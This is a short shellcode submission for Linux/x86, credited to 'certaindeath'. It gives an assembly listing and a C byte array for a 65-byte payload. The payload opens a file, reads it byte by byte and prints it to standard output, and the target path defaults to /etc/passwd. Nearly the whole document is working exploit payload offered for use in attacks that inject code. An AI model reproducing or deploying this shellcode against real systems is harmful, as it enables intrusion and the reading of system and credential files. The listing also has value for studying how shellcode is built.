/*
Linux/x86 file reader.

65 bytes + pathname
Author: certaindeath

Source code:
_start:
  xor  %eax, %eax
  xor  %ebx, %ebx
  xor  %ecx, %ecx
  xor  %edx, %edx
  jmp  two

one:
  pop  %ebx
  
  movb  $5, %al
  xor  %ecx, %ecx
  int  $0x80
  
  mov  %eax, %esi
  jmp  read

exit:
  movb  $1, %al
  xor  %ebx, %ebx
  int  $0x80

read:
  mov  %esi, %ebx
  movb  $3, %al
  sub  $1, %esp
  lea  (%esp), %ecx
  movb  $1, %dl
  int  $0x80

  xor  %ebx, %ebx
  cmp  %eax, %ebx
  je  exit

  movb  $4, %al
  movb  $1, %bl
  movb  $1, %dl
  int  $0x80
  
  add  $1, %esp
  jmp  read

two:
  call  one
  .string  "file_name"
*/
char main[]=
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xeb\x32\x5b\xb0\x05\x31\xc9\xcd"
"\x80\x89\xc6\xeb\x06\xb0\x01\x31"
"\xdb\xcd\x80\x89\xf3\xb0\x03\x83"
"\xec\x01\x8d\x0c\x24\xb2\x01\xcd"
"\x80\x31\xdb\x39\xc3\x74\xe6\xb0"
"\x04\xb3\x01\xb2\x01\xcd\x80\x83"
"\xc4\x01\xeb\xdf\xe8\xc9\xff\xff"
"\xff"
"/etc/passwd"; //Put here the file path, default is /etc/passwd